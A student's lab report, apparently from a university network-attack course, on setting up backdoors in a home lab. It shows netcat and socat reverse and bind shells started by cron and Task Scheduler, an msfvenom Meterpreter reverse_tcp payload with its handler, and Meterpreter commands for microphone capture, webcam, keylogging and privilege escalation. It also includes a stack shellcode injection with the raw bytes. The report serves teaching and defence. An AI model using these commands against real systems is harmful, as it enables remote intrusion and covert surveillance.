• 2019-2020-2 20174317祝源《网络对抗技术》Exp2 后门原理与实践


    1. 实验原理

    1.1. 后门概念

    后门就是不经过正常认证流程而访问系统的通道。

    相对狭义的后门概念:

    • 特指潜伏于操作系统中专门做后门的一个程序,
    • “坏人”可以连接这个程序
    • 远程执行各种指令。
    • 概念和木马有重叠

    1.2. 哪里有后门

    • 编译器留后门
    • 操作系统留后门
    • 最常见的当然还是应用程序中留后门
    • 潜伏于操作系统中或伪装为特定应用的专用后门程序

    1.3. 常用工具

    1.3.1. netcat

    又名ncncat,是一个底层工具,进行基本的TCP和UDP数据收发。常被与其他工具结合使用,起到后门的作用。

    • Linux中一般自带netcat,可以使用man netcatman nc查看使用说明。
    • Windows需要自行下载。
    • Mac系统自带nc,使用man nc查看使用说明

    1.3.2. socat

    可以看作necat的加强版,有一些netcat所不具备却又很有需求的功能,例如ssl连接。

    1.3.3. msfvenom和metasploit

    msfvenom是一款用来生成后门的软件。

    Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。

    如果说msfvenom生成的木马是前端,那么可以称MSF为后端。

    2. 实验内容

    靶机为 Windows 10,IP为192.168.0.106
    攻击机是Kali Linux,IP为192.168.0.105

    2.1. 使用netcat获取主机操作Shell,cron启动

    • 在Kali中使用命令crontab -e添加定时任务,第一次启动时选择编辑器2。

    • 在文件最后一行添加12 * * * * /bin/netcat 192.168.0.106 4317 -e /bin/sh,表示每小时的第12分钟,反向连接192.168.0.1064317端口,并执行/bin/sh。-e的效果是由你指定的程序代替了nc自己来接受另一端的输入,并把输入(命令)后反馈的结果显示到另一端。

      Linux_cron_add_job

    • 12分后,在Windows10主机中执行ncat -l 4317,进行验证,发现连接成功。

      windows_ncat

    2.2. 使用socat获取主机操作Shell, 任务计划启动

    • 在Windows主机中左下角的Windows徽标上右键单击,选择计算机管理,再选择任务计划程序,点击创建任务。

    • 名称任意,我设置的是wewwew,在触发器选项卡中点击新建,我这里设置开始任务为:工作站锁定时,并勾选已启用

      new_chufaqi

    • 操作选项卡中点击新建,设置操作为启动程序,并选择已经解压的socta程序,在添加参数中输入tcp-listen:<端口号> exec:cmd.exe,pty,stderr,这个命令把cmd.exe绑定到设置的端口号,同时把cmd.exe的stderr重定向到stdout上。设置完后点击确定保存新任务。

      new_exec

    • 先按Win+L锁定工作站,然后解锁,再次进入任务计划程序,选择查看所有正在运行的任务,可以看到刚才添加的任务已经启动了。第一次启动socat时会要求通过防火墙,选择允许即可。

      success

    • 在Kali中,输入socat - tcp:192.168.0.106:4317,可以获取到cmd shell

    2.3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    • 在Kali中输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00x0axff' LHOST=192.168.0.105 LPORT=4317 -f exe > zy20174317_backdoor.exe生成带有后门的可执行文件,其中-p表示使用的payload。这里windows/meterpreter/reverse_tcp就是一段shellcode,表示windows反向连接kali。-e指定编码器,-b表示shellcode中避免出现的字符.由于这里使用的是反向连接,所以LHOST需要时设置为Kali的IP。

      生生成后门程序

    • 使用nc传输文件:先在Windows中执行ncat -l 4317 > zy20174317_backdoor.exe,然后在Kali中执行nc 192.168.0.106 4317 < zy20174317_backdoor.exe,将文件从Kali中传到Windows中。

      在传输前记得关闭杀毒软件和防火墙,例如Win10自带的Windows Defender。
      传输完成后连接不会自动关闭,可以通过查看文件大小来判断传输是否完成,然后手动关闭连接。

    • 可以看到成功接收了文件:

    • 在Kali中执行msfconsole指令进入msf控制台。

      • 输入use exploit/multi/handler使用侦听模块,设置payload。
      • set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload。
      • set LHOST 192.168.0.105,这里用的是Kali的IP,和生成后门程序时指定的IP相同。
      • set LPORT 4317,使用相同的端口。
      • 可以使用show options来查看设置。

    • 设置完成后,输入exploit执行监听。在Windows中运行后门程序,Kail上可以获得Windows的Shell。

    2.4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    • 使用record_mic指令可以截获一段音频。

      参数列表
      -h:显示帮助。
      -d :记录的秒数,默认为1秒
      -f :wav文件路径。默认为HOME / [随机乱码名字] .wav
      -p :自动播放捕获的音频,默认为“true”。

    • 使用webcam_snap指令可以使用摄像头进行拍照。

      参数列表
      -h:显示帮助。
      -i :要使用的网络摄像头的索引号。
      -p :JPEG图像文件路径。默认为HOME / [随机乱码名字] .jpeg
      -q :JPEG图像质量,默认为“50”。
      -v :自动查看JPEG图像,默认为“true”。

    • 使用screenshot指令可以截屏。

    • 使用keysacn_start指令开始记录击键,使用keyscan_dump指令读取击键记录。

    • 使用getuid指令查看当前用户,使用getsystem指令进行提权操作。

    • 最开始提权是失败了的,后来参考这篇博客,提权成功。

    2.5. 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell,加分内容一并写入本实验报告。

    • 输入msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4317 -f c得到shellcode:

    • 参考实验一,关闭地址随机化,设置堆栈可执行。然后找到shellcode的起始地址,仍然为0xffffd350

    perl -e 'print "A" x 32; print "x50xd3xffxffx31xdbxf7xe3x53x43x53x6ax02x89xe1xb0x66xcdx80x93x59xb0x3fxcdx80x49x79xf9x68x7fx00x00x01x68x02x00x10xddx89xe1xb0x66x50x51x53xb3x03x89xe1xcdx80x52x68x6ex2fx73x68x68x2fx2fx62x69x89xe3x52x53x89xe1xb0x0bxcdx80"' > 20174317_shellcode

    
    * 在新的终端中打开msf控制台,参考前面的步骤,依次输入:
      ```bash
    use exploit/multi/handler
    set payload linux/x86/shell_reverse_tcp //生成shellcode时使用的playload
    set LHOST 127.0.0.1
    set LPORT 4317
    exploit //设置完成,开始侦听
    
    • 在前一个终端中执行(cat 20174317_shellcode;cat) | ./20174317-pwn1注入shellcode

    • 可以发现在msf控制台中已经获得了shell

    3. 基础问题回答

    3.1. 例举你能想到的一个后门进入到你系统中的可能方式?

    在不是官网的第三方网站上下载盗版软件啊,别人传给我的电影、PDF文档、图片都可能隐藏有后门程序。还有就是那些装机网站上的系统镜像,说不定也隐藏有后门。

    3.2. 例举你知道的后门如何启动起来(win及linux)的方式?

    linux:比如说实验中用到的cron,还有就是把自己注册为系统服务。

    win:实验中用到的任务计划程序,也可以修改注册表,也有可能和某个的程序绑定,启动那个程序就会让后门也启动。

    3.3. Meterpreter有哪些给你映像深刻的功能?

    每个功能都让我印象深刻,特别是录音和用摄像头拍照这两个,感觉要是自己电脑中了后门的话就毫无隐私了。

    3.4. 如何发现自己有系统有没有被安装后门?

    可以查看系统中安装的服务,看看有没有比较奇怪的服务。还有就是可以查看电脑上的端口开放情况,还有就是使用杀软来扫描。现在杀毒软件会监控应用程序的活动,如果发现经常莫名奇妙弹出警告的话也可能是被安装后门了。

    4. 实验感悟

    这次实验学习了后门相关的知识,还用了necat、socat、msf这些工具来生成后门程序并获取shell,其中msf让我印象深刻。在这次实验前,经常看到关于漏洞的新闻,但没有想到电脑会这么容易被攻击。经过这次实验,我的安全意识提高了很多。

    5. 遇到的问题及解决方案

    5.1. 无法运行后门程序

    问题:

    在Windows中运行可执行后门程序时出错:

    检查后发现是权限不足,查看文件属性,在安全选项卡中,选择编辑,将Everyone的权限设置为完全控制,然后点击高级,将权限条目中的第一行删除:

  • 相关阅读:
    centos 安装python3.6 简易安装过程
    包装类型
    剑指offer二叉树中和为某一值的路径
    剑指offer 捡绳子
    按位与的技巧
    SpringBoot 登录拦截功能的实现
    AIO实现简单http服务器
    真题-数的分解
    重建二叉树
    旋转数组的最小数字
  • 原文地址:https://www.cnblogs.com/20174317zhuyuan/p/12518710.html
Copyright © 2020-2023  润新知